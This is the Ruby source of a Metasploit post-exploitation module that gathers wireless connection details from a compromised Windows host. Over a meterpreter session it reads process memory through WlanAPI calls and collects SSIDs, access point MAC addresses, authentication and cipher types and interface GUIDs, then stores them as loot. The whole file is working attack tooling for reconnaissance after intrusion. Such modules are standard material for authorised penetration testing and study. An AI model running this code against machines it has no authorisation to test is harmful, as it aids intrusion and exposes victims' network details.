## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Post include Msf::Auxiliary::Report def initialize(info = {}) super( update_info( info, 'Name' => 'Windows Gather Wireless Current Connection Info', 'Description' => %q{ This module gathers information about the current connection on each wireless lan interface on the target machine. }, 'License' => MSF_LICENSE, 'Author' => ['theLightCosine'], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ], 'Compat' => { 'Meterpreter' => { 'Commands' => %w[ stdapi_railgun_api stdapi_sys_process_attach stdapi_sys_process_getpid ] } } ) ) end def run # Opens memory access into the host process mypid = client.sys.process.getpid @host_process = client.sys.process.open(mypid, PROCESS_ALL_ACCESS) @wlanapi = client.railgun.wlanapi wlan_connections = "Wireless LAN Active Connections: \n" wlan_handle = open_handle unless wlan_handle print_error("Couldn't open WlanAPI Handle. WLAN API may not be installed on target") print_error('On Windows XP this could also mean the Wireless Zero Configuration Service is turned off') return end wlan_iflist = enum_interfaces(wlan_handle) wlan_iflist.each do |interface| connect_info = query_current_connection(wlan_handle, interface['guid']) guid = guid_to_string(interface['guid']) wlan_connection = "GUID: #{guid} \nDescription: #{interface['description']} \nState: #{interface['state']}\n" if connect_info wlan_connection << "\tMode: #{connect_info['mode']} \n\tProfile: #{connect_info['profile']} \n" wlan_connection << "\tSSID: #{connect_info['ssid']} \n\tAP MAC: #{connect_info['bssid']} \n" wlan_connection << "\tBSS Type: #{connect_info['type']} \n\tPhysical Type: #{connect_info['physical']} \n" wlan_connection << "\tSignal Strength: #{connect_info['signal']} \n\tRX Rate: #{connect_info['rxrate']} \n" wlan_connection << "\tTX Rate: #{connect_info['txrate']} \n\tSecurity Enabled: #{connect_info['security']} \n" wlan_connection << "\toneX Enabled: #{connect_info['oneX']} \n\tAuthentication Algorithm: #{connect_info['auth']} \n" wlan_connection << "\tCipher Algorithm: #{connect_info['cipher']} \n" else wlan_connection << "\tThis interface is not currently connected to a network\n" end print_good(wlan_connection) wlan_connections << wlan_connection end wlan_connections.gsub!(/\x00/, '') store_loot('host.windows.wlan.connections', 'text/plain', session, wlan_connections, 'wlan_connections.txt', 'Wireless LAN Connections') # close the Wlan API Handle closehandle = @wlanapi.WlanCloseHandle(wlan_handle, nil) if closehandle['return'] == 0 print_status('WlanAPI Handle Closed Successfully') else print_error('There was an error closing the Handle') end end def open_handle begin wlhandle = @wlanapi.WlanOpenHandle(2, nil, 4, 4) rescue StandardError return nil end return wlhandle['phClientHandle'] end def query_current_connection(wlan_handle, guid) connection = {} conn_info = @wlanapi.WlanQueryInterface(wlan_handle, guid, 7, nil, 4, 4, nil) # Grab the pointer to our data structure. We skip voer the Interface State since we already have it # We interpret the connection mode used first pointer = conn_info['ppData'] pointer = (pointer + 4) mode = @host_process.memory.read(pointer, 4) mode = mode.unpack('V')[0] case mode when 0 connection['mode'] = 'A profile is used to make the connection.' when 1 connection['mode'] = 'A temporary profile is used to make the connection.' when 2 connection['mode'] = 'Secure discovery is used to make the connection.' when 3 connection['mode'] = 'Unsecure discovery is used to make the connection.' when 4 connection['mode'] = 'connection initiated by wireless service automatically using a persistent profile.' when 5 connection['mode'] = 'Invalid connection mode.' else connection['state'] = 'Unknown connection Mode.' end # Grab the wirelessprofile name used in the connection pointer = (pointer + 4) profile = @host_process.memory.read(pointer, 512) connection['profile'] = profile.gsub(/\x00/, '') # Check the size of the SSID value. If we get nothing back, the interface is not currently connected # We return nil and deal with the results back in the calling function pointer = (pointer + 512) len_ssid = @host_process.memory.read(pointer, 4) unless len_ssid.unpack('V')[0] return nil end # Grabs the SSID of the BSS connected to pointer = (pointer + 4) ssid = @host_process.memory.read(pointer, 32) connection['ssid'] = ssid.gsub(/\x00/, '') # Grabs what type of a BSS this is and itnerpretes it into human readable pointer = (pointer + 32) bsstype = @host_process.memory.read(pointer, 4) bsstype = bsstype.unpack('V')[0] case bsstype when 1 connection['type'] = 'Infrastructure' when 2 connection['type'] = 'Independent' when 3 connection['type'] = 'Any' else connection['type'] = 'Unknown BSS Type' end # Grabs the BSS MAC address pointer = (pointer + 4) bssid = @host_process.memory.read(pointer, 6) bssid = bssid.unpack('H*')[0] bssid.insert(2, ':') bssid.insert(5, ':') bssid.insert(8, ':') bssid.insert(11, ':') bssid.insert(14, ':') connection['bssid'] = bssid # Grabs the physical association type and interprets it into human readable pointer = (pointer + 8) phy_type = @host_process.memory.read(pointer, 4) phy_type = phy_type.unpack('V')[0] case phy_type when 1 connection['physical'] = 'Frequency-hopping spread-spectrum (FHSS)' when 2 connection['physical'] = 'Direct sequence spread spectrum (DSSS)' when 3 connection['physical'] = 'Infrared (IR) baseband' when 4 connection['physical'] = 'Orthogonal frequency division multiplexing (OFDM)' when 5 connection['physical'] = 'High-rate DSSS (HRDSSS)' when 6 connection['physical'] = 'Extended rate PHY type' when 7 connection['physical'] = '802.11n PHY type' else connection['physical'] = 'Unknown Association Type' end # Grabs the signal strength value pointer = (pointer + 8) signal = @host_process.memory.read(pointer, 4) connection['signal'] = signal.unpack('V')[0] # Grabs the recieve rate value pointer = (pointer + 4) rxrate = @host_process.memory.read(pointer, 4) connection['rxrate'] = rxrate.unpack('V')[0] # Grabs the transmit rate value pointer = (pointer + 4) txrate = @host_process.memory.read(pointer, 4) connection['txrate'] = txrate.unpack('V')[0] # Checks if security is enabled on this BSS pointer = (pointer + 4) security_enabled = @host_process.memory.read(pointer, 4) if security_enabled.unpack('V')[0] == 1 connection['security'] = 'Yes' else connection['security'] = 'No' end # Checks of 802.1x Authentication is used pointer = (pointer + 4) onex = @host_process.memory.read(pointer, 4) if onex.unpack('V')[0] == 1 connection['oneX'] = 'Yes' else connection['oneX'] = 'No' end # Determines wat Authentication Algorithm is being used pointer = (pointer + 4) algo = @host_process.memory.read(pointer, 4) algo = algo.unpack('V')[0] case algo when 1 connection['auth'] = '802.11 Open' when 2 connection['auth'] = '802.11 Shared' when 3 connection['auth'] = 'WPA' when 4 connection['auth'] = 'WPA-PSK' when 5 connection['auth'] = 'WPA-None' when 6 connection['auth'] = 'RSNA' when 7 connection['auth'] = 'RSNA with PSK' else connection['auth'] = 'Unknown Algorithm' end # Determines what Cipher is being used pointer = (pointer + 4) cipher = @host_process.memory.read(pointer, 4) cipher = cipher.unpack('V')[0] case cipher when 0 connection['cipher'] = 'None' when 1 connection['cipher'] = 'WEP-40' when 2 connection['cipher'] = 'TKIP' when 4 connection['cipher'] = 'CCMP' when 5 connection['cipher'] = 'WEP-104' when 256 connection['cipher'] = 'Use Group Key' when 257 connection['cipher'] = 'WEP' else connection['cipher'] = 'Unknown Cipher' end return connection end def enum_interfaces(wlan_handle) iflist = @wlanapi.WlanEnumInterfaces(wlan_handle, nil, 4) pointer = iflist['ppInterfaceList'] numifs = @host_process.memory.read(pointer, 4) numifs = numifs.unpack('V')[0] interfaces = [] # Set the pointer ahead to the first element in the array pointer = (pointer + 8) (1..numifs).each do |_i| interface = {} # Read the GUID (16 bytes) interface['guid'] = @host_process.memory.read(pointer, 16) pointer = (pointer + 16) # Read the description(up to 512 bytes) interface['description'] = @host_process.memory.read(pointer, 512) pointer = (pointer + 512) # Read the state of the interface (4 bytes) state = @host_process.memory.read(pointer, 4) pointer = (pointer + 4) # Turn the state into human readable form state = state.unpack('V')[0] case state when 0 interface['state'] = 'The interface is not ready to operate.' when 1 interface['state'] = 'The interface is connected to a network.' when 2 interface['state'] = 'The interface is the first node in an ad hoc network. No peer has connected.' when 3 interface['state'] = 'The interface is disconnecting from the current network.' when 4 interface['state'] = 'The interface is not connected to any network.' when 5 interface['state'] = 'The interface is attempting to associate with a network.' when 6 interface['state'] = 'Auto configuration is discovering the settings for the network.' when 7 interface['state'] = 'The interface is in the process of authenticating.' else interface['state'] = 'Unknown State' end interfaces << interface end return interfaces end # Convert the GUID to human readable form def guid_to_string(guid) aguid = guid.unpack('H*')[0] sguid = '{' + aguid[6, 2] + aguid[4, 2] + aguid[2, 2] + aguid[0, 2] sguid << '-' + aguid[10, 2] + aguid[8, 2] + '-' + aguid[14, 2] + aguid[12, 2] + '-' + aguid[16, 4] sguid << '-' + aguid[20, 12] + '}' return sguid end end